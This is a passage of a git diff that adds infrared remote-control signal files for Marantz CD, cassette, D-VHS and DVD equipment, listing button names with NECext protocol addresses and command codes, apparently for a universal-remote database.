00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOL_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: VOL_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 11 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1C 00 00 00 +# +name: PLAY_MODE_REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: DISK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1E 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1F 00 00 00 +# +name: SONG+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: SONG- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: PROGRAM_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 24 00 00 00 +# +name: PITCH_RESET +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 25 00 00 00 +# +name: PROGRAM_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 25 00 00 00 +# +name: PITCH_+_(FOLDER_+) +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 26 00 00 00 +# +name: PROGRAM_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 26 00 00 00 +# +name: PITCH_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 26 00 00 00 +# +name: PITCH_-_(FOLDER_-) +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: PROGRAM_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: PITCH_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 27 00 00 00 +# +name: PROGRAM_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 28 00 00 00 +# +name: PROGRAM_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: PROGRAM_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: INTRO_SCAN_(AMS) +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: INTRO_SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: AMS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: OPEN/EJECT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2D 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: DELETE/CANCEL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: DELETE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 31 00 00 00 +# +name: BACKWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: POWER_ON_(PLAY) +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 37 00 00 00 +# +name: DISK_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 37 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 38 00 00 00 +# +name: DISK_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 38 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 39 00 00 00 +# +name: DISK_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 39 00 00 00 +# +name: REPEAT_A/B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 40 00 00 00 +# +name: DISK_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 40 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 41 00 00 00 +# +name: DISK_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 41 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 42 00 00 00 +# +name: DISPLAY_(DIMMER) +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: DISPLAY_DIMMER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: FOLDER_+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 50 00 00 00 +# +name: FOLDER_- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 55 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 56 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 57 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 58 00 00 00 +# +name: CATEGORY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 5C 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 68 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 6D 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 6E 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 72 00 00 00 +# +name: PREVIOUS_DISC +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 73 00 00 00 +# +name: PREVIOUS_DISK +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 73 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir new file mode 100644 index 000000000..694047601 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2A 00 00 00 +# +name: DECK_A +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2C 00 00 00 +# +name: DECK_B +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2E 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2E 00 00 00 +# +name: REVERSE_PLAY +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2F 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 2F 00 00 00 +# +name: REC_PAUSE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 30 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 30 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 32 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 32 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 34 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 36 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir new file mode 100644 index 000000000..d6672e15e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir new file mode 100644 index 000000000..c35fa8f29 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir new file mode 100644 index 000000000..e85105ce5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 03 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 04 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 06 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PREV. +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 15 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: P._SELECT +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1A 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 1D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 21 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 22 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 23 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 24 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 25 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: REC._LINK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 30 00 00 00 +# +name: REC._SPD. +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 31 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3E 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 84 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 90 00 00 00 +# +name: S._SEARCH +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 96 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 43 00 00 00 +command: CC 00 00 00 +# +name: NAVI +type: parsed +protocol: NECext +address: 43 00 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir new file mode 100644 index 000000000..ed1e4c513 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: ANGLE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 42 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir new file mode 100644 index 000000000..9968793f7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir @@ -0,0 +1,812 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: POWER_ON/STANDBY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: AUDIO_EX +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1D 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: CHAPTER_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 20 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: CHAPTER_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 21 00 00 00 +# +name: SLOW_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 22 00 00 00 +# +name: SLOW_BACKWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 23 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: FOWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 28 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 2C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: JOG/PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 31 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3A 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 3B 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 42 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4B 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4E 00 00 00 +# +name: SOUND_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SACD_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: S._MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: S.MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 50 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: SURR. +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 52 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 58 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 59 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 71 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 78 00 00 00 +# +name: DISK_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: DISCSKIP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 7F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SET-UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 82 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 83 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 85 00 00 00 +# +name: VIDEO_ADJUST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 96 00 00 00 +# +name: DISK_-1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: DISK_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B3 00 00 00 +# +name: DISK_-2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B4 00 00 00 +# +name: DISK_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B4 00 00 00 +# +name: DISK_-3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B5 00 00 00 +# +name: DISK_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B5 00 00 00 +# +name: DISK_-4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B6 00 00 00 +# +name: DISK_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B6 00 00 00 +# +name: DISK_-5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B7 00 00 00 +# +name: DISK_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: B7 00 00 00 +# +name: NTSC/PAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C5 00 00 00 +# +name: HDMI +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: SEARCH_MODE1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: T-C +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CA 00 00 00 +# +name: FUNCTION_MEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CB 00 00 00 +# +name: CONDITION_MEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CC 00 00 00 +# +name: CONDITION +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CC 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D1 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D2 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D3 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D3 00 00 00 +# +name: DIGEST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D5 00 00 00 +# +name: LAST_MEMO +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D7 00 00 00 +# +name: VOCAL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E7 00 00 00 +# +name: MARKER_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EE 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EE 00 00 00 +# 